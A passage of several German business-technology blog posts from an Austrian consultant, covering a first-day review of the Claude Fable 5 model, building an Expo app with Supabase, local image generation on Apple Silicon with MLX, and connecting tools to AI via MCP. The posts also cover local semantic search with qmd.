Forschungseinrichtungen. Der Name kommt übrigens von lateinisch *fabula*, "das, was erzählt wird", verwandt mit dem griechischen *mythos*. Interessant gelöst: Schlägt ein Safeguard-Klassifizierer an, verweigert Fable nicht einfach die Antwort, sondern fällt automatisch auf das kleinere Opus 4.8 zurück. Anthropics Begründung: eine Opus-Antwort ist ein besseres Erlebnis als eine Fable-Ablehnung. Laut Anthropic betrifft das weniger als 5 Prozent der Sessions, im normalen Arbeitsalltag merkst du davon nichts. ## Die Fakten im Überblick | | Claude Fable 5 | |---|---| | Release | 9. Juni 2026 | | Kontextfenster | 1 Million Token | | Max. Output | 128.000 Token | | API-Preis | $10 / $50 pro Mio. Input-/Output-Token | | API-Modell-ID | `claude-fable-5` | | Positionierung | Neue Stufe über Opus 4.8 | Der Preis liegt damit beim Doppelten von Opus 4.8 ($5/$25), aber unter der Hälfte der früheren Mythos-Preview. ## Benchmarks und Referenzen Anthropic nennt Fable 5 State-of-the-art auf nahezu allen getesteten Benchmarks, auf manchen mehr als 10 Prozent über Opus 4.8. Die spannenderen Datenpunkte kommen aber aus der Praxis: - **Software-Engineering:** Stripe berichtet, Fable 5 habe bei einer großen Ruby-Codebase-Migration "Monate Engineering in Tage komprimiert". - **Wissensarbeit:** Bestwert auf Hebbias Finance-Benchmark, deutliche Gewinne bei dokumentbasiertem Reasoning. - **Agentisches Arbeiten:** Das Modell arbeitet länger autonom als alle Vorgänger. Mit dateibasiertem Memory verdreifachte sich in einem Test (Slay the Spire) die Performance. - **Vision:** Präzises Auslesen von Zahlen aus wissenschaftlichen Diagrammen. ## Mein erster Tag: zwei Dinge fallen sofort auf Benchmarks sind das eine. Nach einem Tag echter Projektarbeit sind es zwei Beobachtungen, die für mich den Unterschied machen: **Erstens: das Tempo.** Fable 5 ist wesentlich schneller als Opus 4.8. Nicht messbar-schneller, sondern spürbar-schneller. Bei iterativer Entwicklungsarbeit, wo du den ganzen Tag mit dem Modell im Dialog bist, summiert sich das massiv. **Zweitens: die Aufmerksamkeit für Details.** Beim Coden schaut das Modell mehr in die Tiefe und entdeckt Edge-Cases, nach denen ich gar nicht gefragt habe. Das ist genau die Qualität, die einen Senior-Entwickler von einem Junior unterscheidet: nicht nur die Aufgabe abarbeiten, sondern mitdenken, was schiefgehen könnte. ## Für Entwickler: die API-Seite Fable 5 übernimmt die API-Oberfläche von Opus 4.7/4.8. Wer von dort migriert, tauscht im Wesentlichen die Modell-ID: ```ts const response = await client.messages.create({ model: "claude-fable-5", max_tokens: 16000, thinking: { type: "adaptive" }, messages: [{ role: "user", content: "..." }], }); ``` Drei Dinge sind zu beachten: Sampling-Parameter (`temperature`, `top_p`, `top_k`) gibt es nicht mehr, Thinking läuft nur noch adaptiv (das Modell entscheidet selbst, wann und wie viel es nachdenkt), und ein explizites `thinking: { type: "disabled" }` quittiert die API mit einem Fehler. Wer Thinking nicht will, lässt den Parameter einfach weg. ## Verfügbarkeit: der Wermutstropfen In den Abo-Plänen (Pro, Max, Team, Enterprise) ist Fable 5 vom 9. bis 22. Juni kostenlos enthalten. Danach läuft die Nutzung über separate Usage Credits. Anthropic erklärt als Ziel, das Modell später wieder zum Standard-Bestandteil zu machen, einen Termin gibt es dafür nicht. Ehrlich gesagt: Nach einem Tag will ich nicht mehr zurück. Genau darauf dürfte das Zeitfenster auch angelegt sein. ## Wann lohnt sich Fable 5, wann nicht? **Es lohnt sich, wenn:** - du komplexe, lange Aufgaben bearbeitest (große Refactorings, tiefe Analysen, autonome Agenten-Workflows) - die Qualität des Ergebnisses den doppelten Token-Preis rechtfertigt - du in der Software-Entwicklung von der höheren Detail-Aufmerksamkeit profitierst **Es lohnt sich nicht, wenn:** - du einfache, repetitive Aufgaben automatisierst (Klassifikation, Zusammenfassungen): da bleiben Sonnet 4.6 oder Haiku 4.5 die wirtschaftlichere Wahl - dein Use Case latenzunkritisch und kostensensibel ist - du ein Modell für Standard-Chat brauchst, Opus 4.8 ist dafür weiterhin stark und halb so teuer ## Einordnung Für kleine Unternehmen ändert Fable 5 kurzfristig wenig: Die Prozesse, die sich heute lohnen zu automatisieren, laufen auch mit den günstigeren Modellen. Spannend ist die Richtung: Die Modelle werden gleichzeitig schneller, gründlicher und autonomer. Aufgaben, die vor einem Jahr noch einen Entwickler-Tag gebraucht haben, erledigt so ein Modell zunehmend nebenbei. Wer wissen will, was das für die eigenen Abläufe bedeutet: Schreib mir, dann reden wir drüber. --- # Native Apps für KMU: mit Expo an einem Tag zum lauffähigen Prototyp Quelle: https://axons.at/blog/native-apps-kmu-expo Veroeffentlicht: 2026-06-03 Autor: Thomas Hummer Keywords: native-app, expo, react-native, app-entwicklung, kmu, supabase > Eine eigene App galt lange als sechsstelliges Projekt mit Monaten Vorlauf. Mit Expo und React Native steht das Fundament an einem Tag, ein Codebase für iOS und Android. Was das Werkzeug leistet und wann es passt. Eine eigene App ist für viele kleine Unternehmen ein Reizthema. Der Wunsch ist da: eine Kundenschnittstelle, ein internes Werkzeug für die Mitarbeiter, etwas Eigenes statt einer Standard-Lösung. Die Vorstellung von Aufwand und Budget hat das Thema dann meist schnell wieder beerdigt. Zu Recht, lange Zeit: zwei getrennte Apps für iOS und Android, Spezialwissen, Monate Entwicklung. Diese Woche habe ich getestet, wo dieser Aufwand heute wirklich liegt. Werkzeug der Wahl: Expo. ## Was Expo ist und was es löst Expo ist ein Framework auf Basis von React Native. Der Kerngedanke: Du schreibst den Code einmal in JavaScript beziehungsweise TypeScript, und er läuft als echte native App auf iOS und Android. Kein doppelter Code, keine zwei Teams, keine zwei Sprachen. Den zweiten großen Schmerzpunkt nimmt der dazugehörige Cloud-Build-Dienst EAS. Wer schon einmal eine native App manuell aufs iPhone gebracht hat, kennt den Setup-Marathon mit Xcode, Zertifikaten und Provisioning-Profilen. EAS baut die App in der Cloud und liefert sie aufs Gerät. Genau diese Hürde hat native Entwicklung für kleine Projekte früher unwirtschaftlich gemacht. ## Der Stack im Praxistest Der Test war ein Kursportal als App: eine Liste, die echte Kursdaten aus der Datenbank lädt. Drei Bausteine: * **Expo Router** für die Navigation. Datei-basiertes Routing wie bei Next.js: eine Datei unter `app/` wird automatisch zu einem Screen, `app/kurs/[id].tsx` zur Detailseite mit Parameter. Wer aus der Web-Welt kommt, ist sofort zu Hause. * **TypeScript** durchgängig. Typsicherheit von der Datenbank bis ins UI. * **Supabase als Backend**. Postgres-Datenbank plus fertige Client-Bibliothek, kein eigener Server nötig. Die App spricht direkt mit der Datenbank, abgesichert über Zugriffsregeln (dazu unten mehr). Der Screen, der die Kurse lädt und in einer `FlatList` rendert, ist im Kern so kurz: ```ts import { FlatList, Text, Image, View } from 'react-native'; import { useEffect, useState } from 'react'; import { supabase } from '../lib/supabase'; export default function Kursliste() { const [kurse, setKurse] = useState([]); useEffect(() => { supabase .from('kurse') .select('id, titel, beschreibung, bild_url') .eq('veroeffentlicht', true) .then(({ data }) => setKurse(data ?? [])); }, []); return ( String(k.id)} renderItem={({ item }) => ( {item.titel} )} /> ); } ``` `FlatList` ist dabei nicht einfach eine Liste, sondern rendert nur die sichtbaren Einträge und recycelt sie beim Scrollen. Das ist der Unterschied zwischen einer App, die bei 500 Kursen ruckelt, und einer, die flüssig bleibt. ## Von null bis aufs Gerät an einem Tag Der Weg vom leeren Projektordner bis zur App, die auf meinem eigenen iPhone lief, dauerte einen Tag. Grob die Schritte: ```bash # Projekt anlegen (TypeScript-Template) npx create-expo-app kursportal # Im Projekt: Datenanbindung, Screens, Navigation bauen # dann Development Build in der Cloud erzeugen eas build --profile development --platform ios # App aufs Gerät, Dev-Server starten npx expo start --dev-client ``` Am Ende des Tages stand nicht nur eine leere Hülle, sondern das Fundament: Navigation, Datenanbindung, Login-Logik und eine Liste mit echten Inhalten. Ein Prototyp, kein fertiges Produkt, das ist ein wichtiger Unterschied. Aber das Gerüst, auf dem ein Produkt entsteht, war da. ### Eine Falle vorweg: Expo Go ist nicht der Weg zur eigenen App Wer Expo ausprobiert, landet zuerst bei der App "Expo Go" aus dem Store. Die ist gut zum Spielen, aber eine Sackgasse, sobald die App eigene native Funktionen braucht: Expo Go ist an eine feste Framework-Version (das Expo-SDK) gebunden, die selten zur eigenen passt. Ein Downgrade über mehrere SDK-Versionen, nur damit das Gerät die App öffnet, bricht früher oder später das Projekt. Der richtige Weg ist der Development Build: eine eigene App-Hülle, die man einmal über EAS baut und installiert. Ab dann lädt sie deinen Code per `expo start --dev-client`, und du bist frei in der SDK-Wahl. Konfiguriert wird das in einer schlanken `eas.json` mit einem `development`-Profil plus dem Paket `expo-dev-client`. ## Eine typische Stolperstelle: die stille leere Liste Eine Lektion, die exemplarisch ist für solche Setups: Die App lief, der Code war fehlerfrei, die Liste blieb trotzdem leer. Kein Fehler, keine Exception, einfach null Einträge. Ursache war die Zugriffssteuerung der Datenbank. Supabase nutzt Row Level Security: ohne explizite Regel darf der öffentliche Schlüssel der App keine Zeile lesen, und liefert eben nicht einen Fehler, sondern ein leeres Ergebnis. Die Lösung ist eine Lese-Regel, die genau festlegt, was öffentlich sichtbar sein darf: ```sql -- der anonyme App-Zugriff darf nur veröffentlichte Kurse lesen create policy "public read kurse" on kurse for select to anon using (veroeffentlicht = true); ``` Das ist kein Expo-Thema, sondern gehört zu jeder App, die direkt mit einer Datenbank spricht: Erst die Zugriffsregeln machen aus "die App liest alles" ein kontrolliertes "die App liest genau das, was sie soll". ## Updates ohne App-Store-Wartezeit Ein Punkt, der im Tagesgeschäft schwerer wiegt als die erste Installation: Expo kann Over-the-Air-Updates. Änderungen am JavaScript-Teil der App, also der allergrößte Teil im Alltag, landen direkt beim Nutzer, ohne den Umweg über die Store-Freigabe von Apple oder Google. Für ein KMU heißt das konkret: Ein Tippfehler im Text oder eine kleine Anpassung an einer Liste ist in Minuten draußen, nicht erst nach Tagen Review. Nur echte native Änderungen (neue Berechtigungen, neue Geräte-Funktionen) brauchen weiterhin einen neuen Store-Build. ## Wann eine eigene App sinnvoll ist, und wann nicht Werkzeug heißt nicht automatisch Anlass. Eine App lohnt sich nicht, weil sie technisch machbar ist, sondern weil sie einen Prozess wirklich besser macht. **Sinnvoll, wenn:** * Kunden oder Mitarbeiter regelmäßig mobil etwas tun (buchen, erfassen, nachschauen) und eine Website dafür umständlich ist. * Native Funktionen gebraucht werden: Push-Benachrichtigungen, Kamera, Offline-Nutzung. * Die App eine Verlängerung eines Systems ist, das es schon gibt (Shop, Branchensoftware, Kundenportal). **Eher nicht, wenn:** * Eine gut gemachte mobile Website denselben Zweck erfüllt. Für reines Lesen und Anschauen ist eine App oft Overkill. * Es nur um ein Kontaktformular oder eine Infoseite geht. * Niemand die App regelmäßig nutzt. Eine App, die man einmal im Jahr öffnet, hat im App-Store-Alltag keinen Platz. ## Einordnung Werkzeuge ändern sich, die eigentliche Frage bleibt dieselbe: Welcher Prozess soll für Kunden oder Mitarbeiter einfacher werden? Neu ist nur die Antwort auf die Aufwandsfrage. Eine eigene App ist kein Großprojekt mit sechsstelligem Budget mehr, sondern für viele KMU eine realistische Option, wenn der Anwendungsfall stimmt. Genau das ist der Punkt, an dem es sich lohnt, einmal nüchtern hinzuschauen: nicht "brauchen wir eine App", sondern "welcher konkrete Ablauf wird mobil besser". Das ist eine halbe Stunde Gespräch, kein Großprojekt. --- # Lokale Bildgenerierung auf Apple Silicon: warum fp8 scheitert und MLX der Ausweg ist Quelle: https://axons.at/blog/lokale-bildgenerierung-apple-silicon-fp8-mlx Veroeffentlicht: 2026-05-30 Autor: Thomas Hummer Keywords: ki, infra, apple-silicon, bildgenerierung, dsgvo > Der stärkste Mac hilft nichts, wenn die GPU das falsche Zahlenformat bekommt. Warum die Standard-KI-Bildmodelle (fp8) auf Apple Silicon crashen, und wieso der saubere Weg über Apples eigenes Framework MLX läuft, nicht über das NVIDIA-Ökosystem. Ich wollte KI-Bilder lokal erzeugen. Offline, auf der eigenen Maschine, ohne Cloud-Abo und ohne dass irgendwelche Prompts oder Ergebnisse das Haus verlassen. Dafür habe ich bewusst starke Hardware: ein MacBook Pro mit M5 Max und 128 GB Unified Memory. Genug, um auch große Modelle zu fahren. Trotzdem bin ich am ersten Abend gegen eine Wand gelaufen, die mit Rechenleistung nichts zu tun hatte. Und genau diese Wand ist eine gute Lektion darüber, wie lokale KI auf dem Mac wirklich funktioniert, und wo die ganzen Anleitungen aus dem Netz an Apple-Hardware vorbeireden. ## Die Wand: fp8 läuft auf Apple Silicon nicht Die gängigen Bildmodelle (FLUX, Stable Diffusion 3.5) lädt man heute fast immer als fp8-Variante herunter. fp8 ist ein 8-Bit-Gleitkomma-Format: es halbiert den Speicherbedarf gegenüber fp16 und läuft auf modernen NVIDIA-Karten in Hardware. Seit 2024 ist das der De-facto-Standard-Download. Auf dem Mac crasht das beim Generieren mit einer eindeutigen Fehlermeldung: ```txt TypeError: Trying to convert Float8_e4m3fn to the MPS backend but it does not have support for that dtype. ``` Das ist kein Konfigurationsfehler, den man wegklickt. Es ist strukturell: * Metal, Apples Grafik-Schicht, hat keinen nativen 8-Bit-Float-Typ. * Apple Silicon hat keine fp8-Recheneinheiten (anders als NVIDIA Ada/Hopper). * Das PyTorch-MPS-Backend, über das die meisten Tools (ComfyUI, Automatic1111) auf die Mac-GPU zugreifen, unterstützt fp8 schlicht nicht. Betroffen sind beide Hälften des Modells, der Diffusions-Transformer und der Text-Encoder. Beide müssen in fp16/bf16 oder als GGUF-Quant vorliegen, damit überhaupt etwas rechnet. ## Warum mehr Hardware das Problem nicht löst Der erste Reflex ist: dann nehme ich eben das große Modell, ich habe ja 128 GB. Aber das ist der falsche Weg. Das Problem ist nicht "zu wenig Speicher", sondern "die GPU spricht dieses Zahlenformat nicht". 128 GB RAM helfen nicht, wenn die Recheneinheit das Format nicht kennt. Und eine baldige Lösung von PyTorch-Seite ist unwahrscheinlich. Das zuständige GitHub-Issue (#132624) ist seit August 2024 offen, eingeordnet, aber ohne zugesagten Fahrplan. Selbst wenn fp8-Support käme: mangels passender Hardware würde er emuliert, also intern auf bf16 hochgerechnet. Damit wäre der eigentliche Vorteil von fp8 (weniger Speicher, mehr Speed) auf dem Mac sowieso weg. Es gibt Community-Hacks (eigene Metal-Kernel), aber keinen offiziellen, verlässlichen Weg. Für ein Werkzeug, das im Geschäftsalltag einfach funktionieren soll, ist das nichts. ## Der Umweg, der auch nicht der richtige war Der naheliegende Workaround: das fp8-Modell gegen eine fp16/bf16-Variante tauschen und in ComfyUI weiterarbeiten. Das funktioniert, FLUX.1-schnell in bf16 läuft. Aber es bleibt ein Gefühl, dass man das NVIDIA-Ökosystem mit Mühe auf den Mac biegt: PyTorch ist hier der Gast, nicht der Hausherr. Der eigentliche Aha-Moment kam erst danach. ## Der Apple-Weg: MLX statt PyTorch MLX ist Apples eigenes Machine-Learning-Framework, gebaut für Apple Silicon. Es quantisiert nativ in int4 und int8, kennt also das fp8-Problem gar nicht erst, weil es einen anderen, hardwaregerechten Weg geht. Für Bildgenerierung gibt es zwei praktikable Wege: * **Draw Things**: eine GUI-App auf MLX-Basis. Der bequemste Einstieg, deutlich schneller als der Umweg über GGUF. * **mflux**: ein zustandsloses Kommandozeilen-Werkzeug. Kein Server, kein Hintergrundprozess. Es lädt das Modell pro Aufruf, generiert das Bild, schreibt die Datei, fertig. Genau das, was sich sauber in eigene Skripte und Automatisierungen einbauen lässt. Die Installation ist ein Einzeiler (`uv tool install mflux`), der Aufruf ein Kommando mit Prompt, Modell und Ausgabepfad: ```bash mflux-generate-z-image \ --model Tongyi-MAI/Z-Image-Turbo \ -q 8 \ --prompt "ein ruhiges Yoga-Studio im Morgenlicht, fotorealistisch" \ --steps 8 \ --height 1024 --width 1024 \ --output bild.png ``` Kein fp8, kein MPS-Drama. Das Modell lädt beim ersten Lauf automatisch herunter, danach entsteht jedes Bild in rund 17 Sekunden. Weil mflux ein reines Kommandozeilen-Werkzeug ist, lässt es sich auch von anderen lokalen Werkzeugen ansteuern: Ich rufe es zum Beispiel aus meinem eigenen Bild-Skript heraus auf, und genauso kann ein lokal gehostetes Sprachmodell (etwa über LM Studio) den Aufruf zusammenbauen und ausführen. Damit bleibt die ganze Kette lokal: das Sprachmodell, das den Prompt formuliert, und das Bildmodell, das ihn umsetzt. Kein einziger Cloud-Dienst ist beteiligt. ## Welches Modell, und darf ich die Bilder geschäftlich nutzen? Das ist der Punkt, der für ein Unternehmen wichtiger ist als die letzten zehn Prozent Bildqualität: die Lizenz. Nicht jedes frei herunterladbare Modell darf man kommerziell einsetzen. | Modell | Größe | Lizenz | Einordnung | | --------------- | ----- | -------------- | ----------------------------------------------------------------------- | | Z-Image-Turbo | 6B | Apache 2.0 | Frei kommerziell. Photoreal, \~17s/Bild auf M5 Max. Mein Daily-Default. | | FLUX.2-klein-4B | 4B | Apache 2.0 | Frei kommerziell, am schnellsten (\~8s). Etwas weicher. | | FLUX.1-schnell | \~12B | Apache 2.0 | Frei kommerziell, wenige Steps. | | Qwen-Image | 20B | Apache 2.0 | Frei kommerziell. Stark bei Text im Bild, aber \~3 min/Bild. | | FLUX.2-klein-9B | 9B | Non-Commercial | Optisch top, aber nur privat nutzbar. | | FLUX.2-dev | 32B | Non-Commercial | Flaggschiff, aber \~35 min/Bild lokal. Ein Cloud-Job, kein Mac-Job. | Die FLUX-dev-Lizenz erlaubt zwar die Bilder kommerziell, formuliert den Modellbetrieb selbst aber als nicht-kommerziell und erzeugt damit eine Grauzone, sobald man damit Assets fürs eigene Geschäft oder für Kunden erzeugt. Für veröffentlichte oder verkaufte Visuals verlasse ich mich nicht auf eine Grauzone. Ich nehme ein sauber Apache-lizenziertes Modell, und das ist aktuell Z-Image-Turbo (von Alibabas Tongyi Lab): kommerziell unbedenklich, photoreal, und mit rund 17 Sekunden pro Bild schnell genug für den Alltag. ## Wann lohnt sich lokal, wann nicht Lokale Bildgenerierung ist kein Selbstzweck. Sie lohnt sich, wenn einer dieser Punkte zählt: * **Datenschutz**: Prompts und Ergebnisse bleiben auf der Maschine. Kein Drittanbieter, keine Frage, was mit den Eingaben passiert. * **Laufende Kosten**: kein Abo, keine Pro-Bild-Abrechnung. Nach dem Setup kostet jedes weitere Bild nur Strom. * **Integration**: ein zustandsloses CLI wie mflux lässt sich direkt in eigene Abläufe einbauen, etwa um automatisch Bilder in der richtigen Größe für verschiedene Kanäle zu erzeugen. Dagegen spricht: * **Maximale Qualität**: das absolute Spitzenmodell (FLUX.2-dev) ist lokal auf dem Mac unbrauchbar langsam. Wer genau das braucht, ist mit einer Cloud-API besser bedient. * **Gelegentliche Nutzung**: wer drei Bilder im Monat braucht, für den lohnt das Setup nicht. Da ist ein bezahlter Dienst günstiger als die investierte Zeit. ## Die eigentliche Lektion Auf Apple Silicon ist der Flaschenhals oft nicht das Silizium, sondern das Format und das Framework. Der Standard-Download aus dem Netz (fp8, für NVIDIA gedacht) ist auf dem Mac eine Sackgasse. Der saubere Weg führt über Apples eigenes Werkzeug MLX, nicht über das mühsam angepasste NVIDIA-Ökosystem. Das ist genau die Art Detail, die einen Abend kostet, wenn man es nicht weiß, und fünf Minuten, wenn man es weiß. Wenn du überlegst, KI lokal und DSGVO-konform in deinem Betrieb einzusetzen, und vorher wissen willst, was wirklich funktioniert und was nur in der Anleitung steht: dann lass uns reden. In einem kostenlosen Mini-Audit schauen wir gemeinsam, wo bei dir der Hebel sitzt: [axons.at/audit](https://axons.at/audit). --- # Geht das mit KI schneller? Wie MCP Tools in Minuten verbindet Quelle: https://axons.at/blog/geht-das-mit-ki-schneller-wie-mcp-tools-in-minuten-verbindet Veroeffentlicht: 2026-05-29 Autor: Thomas Hummer Keywords: ki, mcp, automatisierung, cal-com, kmu > Eine Terminbuchung an einem Feiertag war der Anlass. Statt alle Feiertage haendisch zu sperren, habe ich cal.com per MCP an die KI angebunden, erledigt in Minuten. Was MCP ist und warum es der eigentliche Hebel ist. "Geht das mit KI schneller?" Eine Frage, die ich mir mittlerweile fast taeglich stelle. Heute Morgen war der Anlass eine Terminbuchung fuer ein Mini-Audit in meinem Kalender. An einem Feiertag. Grundsaetzlich kein Problem, aber fuer die Zukunft wollte ich das sauber loesen. ## Der konkrete Fall: Feiertage als Buchungssperre Mein Setup: Auf axons.at biete ich Termine ueber cal.com an, die landen automatisch in meinem Google-Workspace-Kalender. Der Plan war simpel: alle oesterreichischen Feiertage in cal.com fuer Buchungen blockieren, damit mir niemand mehr einen Termin an einem freien Tag bucht. Das haette ich haendisch machen koennen. Jeden Feiertag raussuchen, einzeln als Sperre eintragen, jedes Jahr aufs Neue. ## Stattdessen: fuenf Minuten Anbindung, den Rest macht die KI Ich habe cal.com in fuenf Minuten ueber MCP an die KI angebunden. Google Workspace war ohnehin schon verbunden. Dann ein kurzer Prompt: Hol dir die oesterreichischen Feiertage und trag sie in cal.com als Datumsueberschreibungen ein. Den Rest hat die KI selbst gemacht. Vorschlag, kurze Bestaetigung von mir, fertig. Der Punkt ist nicht die gesparte Viertelstunde bei dieser einen Aufgabe. Der Punkt ist, dass dieselbe Anbindung jetzt steht und ich der KI ab sofort beliebige Kalender- und Buchungsaufgaben geben kann. ## Was MCP eigentlich ist MCP steht fuer Model Context Protocol. Es ist die standardisierte Bruecke, ueber die eine KI mit deinen Werkzeugen sprechen kann, statt nur Text zu produzieren. Vereinfacht: Frueher konnte dir die KI sagen, *wie* du etwas in cal.com einstellst. Mit MCP macht sie es direkt. Sie liest aus, sie traegt ein, sie prueft. Es gibt mittlerweile MCP-Server fuer alle moeglichen Tools: von Kalender und Mail ueber Datenbanken bis zu Branchensoftware. Man muss sie nur nutzen. ## Wann sich eine MCP-Anbindung lohnt, und wann nicht **Lohnt sich, wenn:** * du eine Aufgabe regelmaessig oder in vielen Varianten hast (nicht nur ein einziges Mal) * das Tool eine ordentliche Schnittstelle oder einen MCP-Server hat * jemand die Vorschlaege der KI vor der Ausfuehrung kurz bestaetigt **Lohnt sich nicht, wenn:** * es ein echter Einmalfall ist, den du in zwei Minuten von Hand erledigst * die Daten hochsensibel sind und du den Zugriff nicht sauber eingrenzen kannst * niemand die Ergebnisse kontrolliert und blind vertraut wird Bei mir laeuft jede schreibende Aktion ueber den Schritt "Vorschlag, dann Bestaetigung". Die KI bekommt das Werkzeug, aber die Kontrolle bleibt bei mir. ## Was das fuer dein Unternehmen bedeutet Die spannende Verschiebung ist nicht "die KI kann jetzt chatten". Es ist, dass sie ueber MCP direkt in deinen Werkzeugen arbeiten kann: Kalender, Postfach, Shop-System, Warenwirtschaft. Einmal sauber angebunden, erledigt sie wiederkehrende Aufgaben dort, wo sie anfallen. "Geht das mit KI schneller?" Die Frage kannst du mir gerne stellen, in einem kostenlosen Mini-Audit. --- # Semantische Suche fuer dein Firmenwissen, lokal und ohne Abo Quelle: https://axons.at/blog/semantische-suche-fuer-dein-firmenwissen-lokal-und-ohne-abo Veroeffentlicht: 2026-05-22 Autor: Thomas Hummer Keywords: ki, wissensmanagement, semantische-suche, open-source, kmu > Klassische Suche findet nur, was wortwoertlich dasteht. Das Tool qmd findet den Sinn, laeuft lokal auf dem Mac, ohne Cloud und ohne Abo. Wie das funktioniert und was es fuer kleine Unternehmen bedeutet. Ich tippe in mein Notizsystem: "Aehnliches Problem bei einem anderen Kunden?" Und es findet die richtigen drei Notizen. Nicht den Suchbegriff. Den Sinn. ## Suchbegriff oder Sinn: der Unterschied Ich habe rund 450 Markdown-Notizen: Kunden, Lessons, Projekte, Wissen. Klassische Volltextsuche findet nur, was wortwoertlich drinsteht. Ein Beispiel: Ich formuliere "Welche Kunden hatten Schwierigkeiten mit Idealo?" Der Begriff "Idealo" steht vielleicht nirgends. "Preisvergleichsportal" schon. "Coupon-System" auch. Trotzdem geht es um dieselbe Sache. Eine Wortsuche findet hier nichts. Eine semantische Suche schon, weil sie nicht auf das Wort schaut, sondern auf die Bedeutung. ## Das Tool dahinter: qmd Das Tool heisst qmd. Gebaut von Tobi Luetke, dem Gruender von Shopify, Open Source auf seinem persoenlichen GitHub. Es laeuft auf meinem Mac. Keine Cloud. Kein Abo. Kein Vendor-Lock-in. Die Notizen verlassen den Rechner nicht. ## Wie es funktioniert Unter der Haube arbeiten drei Schichten zusammen: 1. **Keyword-Index** (klassisch): findet exakte Begriffe, schnell. 2. **Vektor-Index** (semantisch): findet inhaltlich Verwandtes, auch ohne gleiche Woerter. 3. **Kleines Sprachmodell**: sortiert die Treffer neu, nach Relevanz fuer die Frage. Alle Modelle laufen lokal. Null laufende Kosten. ## Warum das gerade jetzt geht Vor zwei Jahren war so etwas Enterprise-Software mit fuenfstelligem Jahres-Abo. 2026 ist es fast nur ein `npm install` entfernt. Das ist die eigentliche Verschiebung: Faehigkeiten, die frueher grossen Firmen mit IT-Budget vorbehalten waren, sind heute fuer ein Einzelunternehmen erreichbar. ## Wann sich das lohnt, und wann nicht **Lohnt sich, wenn:** * du viel Wissen als Text hast (Angebote, Mailverlaeufe, Kundenakten, Notizen, alte Lessons) * du oft suchst "wo habe ich das schon mal beschrieben", nicht nur "wo steht dieses Wort" * dir Datenhoheit wichtig ist, die Daten sollen lokal bleiben **Lohnt sich nicht, wenn:** * dein Wissen ohnehin in einer Handvoll Dateien passt * niemand das einmal aufsetzt und pflegt * die Inhalte gar nicht als Text vorliegen (reine Papierablage, Bilder ohne Text) ## Was das fuer kleine Unternehmen bedeutet Dein Wissen kann durchsuchbar werden. Nicht nur "wo steht das Wort", sondern "wo habe ich das schon einmal beschrieben". Alles, was als Text vorliegt. Du brauchst keinen Cloud-Anbieter. Du brauchst kein Abo. Du brauchst einen Computer und jemanden, der das einmal aufsetzt. Welches Wissen liegt heute in deinen Notizen brach? --- # Deine Software per Sprache bedienen: MCP und ein lokales LLM, DSGVO-konform Quelle: https://axons.at/blog/deine-software-per-sprache-bedienen-mcp-und-ein-lokales-llm-dsgvo-konform Veroeffentlicht: 2026-05-15 Autor: Thomas Hummer Keywords: ki, mcp, dsgvo, branchensoftware, kmu > Statt zehn neuer Features habe ich einer Yoga-Buchungsapp das Zuhoeren beigebracht. In acht Stunden, mit MCP und einem lokal laufenden Sprachmodell, ohne dass Endkundendaten die Maschine verlassen. Diese Woche sass ich vor der Buchungs-App eines Yoga-Studios und hatte zwei Optionen. Entweder ich code zehn neue Backend-Features fuer Stundenplanung, Massenanmeldung, Termin-Verschieben. Oder ich bringe der App das Zuhoeren bei. Acht Stunden spaeter hoerte sie zu. ## Es sind nicht neue Features, es sind die alten Zwei Beispiele, wie es sich heute anfuehlt: * "Erstelle die Yoga-Termine fuer den Montag-Morgen-Kurs, jeden Montag bis Ende September." Eingesprochen. Passiert. * "Verschiebe die Donnerstag-Klasse vom 12. Juni auf 19:00." Getippt. Passiert. Das ist kein neues Feature. Das sind die alten Features: Termin anlegen, Termin verschieben. Jetzt nur ohne UI-Reise durch drei Menueebenen. ## Was technisch dahintersteckt Dahinter steckt MCP, das Model Context Protocol. Ein offener Standard, der ein KI-Modell direkt mit den Funktionen einer Branchensoftware verbindet. Ich habe den Server fuer die Studio-App gebaut: 40 Tools, OAuth 2.1, JSON-RPC 2.0, alles ohne SDK, weil die Spezifikation einfach genug ist. Jede dieser 40 Funktionen kann das Modell jetzt direkt aufrufen. ## Der entscheidende Punkt: das Modell laeuft lokal Das Sprachmodell laeuft auf der eigenen Maschine. LM Studio mit Qwen 2.5 32B auf einem Mac mit 64 GB RAM. Kein Cloud-Roundtrip, keine Endkundendaten, die das Netzwerk verlassen. DSGVO-konform per Default. Keine Auftragsverarbeitung mit OpenAI oder Anthropic noetig, weil schlicht nichts das Geraet verlaesst. Gerade bei Buchungs-, Patienten- oder Kundendaten ist das oft der Unterschied zwischen "geht" und "geht nicht". ## Vor zwei Jahren ein Drei-Wochen-Projekt Dasselbe Vorhaben waere vor zwei Jahren ein dreiwoechiges Projekt gewesen, plus Datenschutz-Folgenabschaetzung, plus Auftragsverarbeitungsvertrag mit dem Cloud-Anbieter. Jetzt: ein Tag. ## Wann das passt, und wann nicht **Passt, wenn:** * deine Software wiederkehrende Aufgaben hat, die heute hinter mehreren Menueebenen liegen * du sensible Daten verarbeitest und sie die Maschine nicht verlassen sollen * es eine Schnittstelle gibt, an die sich ein MCP-Server andocken laesst **Passt nicht, wenn:** * die Software gar keine API hat und sich nicht anbinden laesst * die Aufgaben so selten sind, dass die drei Klicks nie gestoert haben * niemand die Aktionen der KI kontrolliert, bevor sie ausgefuehrt werden ## Was das fuer dich bedeutet Das Spannende an MCP ist nicht die eine Funktion, die ich ansprechbar gemacht habe. Es ist, dass jede Funktion deiner Software es werden kann. Jedes Formular, jeder Report, jeder Workflow, der heute hinter drei Menueebenen versteckt liegt, wird zu einem Satz, den du einfach hinschreibst. Die App, die du laengst hast, laesst sich per Sprache bedienen. Wo in deiner Software steckt die Funktion, die alle suchen und keiner findet? --- # Warum ich Software-Entwicklung mit KI nicht "Vibe Coding" nenne Quelle: https://axons.at/blog/warum-ich-software-entwicklung-mit-ki-nicht-vibe-coding-nenne Veroeffentlicht: 2026-05-08 Autor: Thomas Hummer Keywords: ki, softwareentwicklung, agentic-engineering, kmu, vibe-coding > KI schreibt heute fast meinen gesamten Code. Trotzdem ist es kein Vibe Coding. Was sich wirklich aendert, ist meine Rolle: vom Coder zum Architekten. Plus ein konkretes Praxisbeispiel. Ich entwickle Software fast nur noch mit KI. "Vibe Coding" nenne ich es trotzdem nicht. Der Begriff hat sich eingebuergert, aber er fuehrt in die Irre, und das hat Konsequenzen fuer alle, die gerade ueberlegen, was KI fuer ihr Geschaeft bedeutet. ## Was "Vibe Coding" verspricht, und warum das nur halb stimmt Der Begriff suggeriert: drei Tasten zufaellig treffen, die KI macht den Rest, fertig ist die Software. Tausende Posts erklaeren, dass das jetzt jeder ohne Vorkenntnisse kann. Das 